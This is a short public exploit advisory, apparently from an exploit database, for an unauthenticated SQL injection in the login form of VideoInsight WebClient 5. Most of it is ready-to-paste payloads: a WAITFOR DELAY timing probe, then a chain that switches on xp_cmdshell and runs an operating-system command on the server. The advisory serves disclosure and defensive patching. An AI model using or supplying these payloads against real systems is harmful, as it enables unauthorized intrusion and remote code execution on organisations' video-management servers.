# Title: VideoInsight WebClient 5 - SQL Injection# Date: 2018-05-06# Author: vosec# Vendor Homepage: https://www.security.us.panasonic.com/# Software Link: https://www.security.us.panasonic.com/video-management-software/web-client/# Version: 5# Tested on: Windows Server 2008 R2# CVE: N/A# Description: # This exploit is based on CVE-2017-5151 targeting versions prior.# The txtUserName and possibly txtPassword field contain an unauthenticated SQL injection vulnerability# that can be used for remote code execution.# SQL Injection - PoC# From the web login page submit the following string as the username with anything in the password field.# The web server will hang for 5 seconds:
UyYr');WAITFOR DELAY '00:00:05'--
# Remote Code Execution - PoC
# From the web login page submit each of the following strings as the username, one at a time, with anything
# in the password field (with the ping, use a valid IP address that you can monitor):
UyYr');EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--
UyYr');EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
UyYr');EXEC xp_cmdshell 'ping xxx.xxx.xxx.xxx';--